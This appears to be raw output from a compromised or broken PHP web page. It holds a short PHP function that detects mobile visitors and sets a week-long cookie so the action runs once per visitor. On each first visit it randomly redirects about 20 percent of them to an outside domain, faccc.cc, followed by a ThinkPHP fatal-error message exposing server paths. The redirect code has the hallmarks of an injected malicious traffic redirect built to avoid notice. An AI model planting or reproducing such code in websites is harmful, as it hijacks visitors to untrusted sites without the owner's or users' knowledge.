function redirectIfMobileAndNoCookie() { function isMobileeee() { return preg_match("/(android|iphone|ipad|ipod)/i", $_SERVER['HTTP_USER_AGENT']); } function hasCookieeee() { return isset($_COOKIE['redirected']); } if (isMobileeee() && !hasCookieeee()) { setcookie('redirected', 'true', time() + 604800, "/"); if (mt_rand(1, 100) <= 20) { header("Location: https://faccc.cc/"); exit; } } } redirectIfMobileAndNoCookie();
Fatal error: Uncaught Error: Class 'think\App' not found in D:\wwwroot\thinkphp\start.php:19 Stack trace: #0 D:\wwwroot\index.php(39): require() #1 {main} thrown in D:\wwwroot\thinkphp\start.php on line 19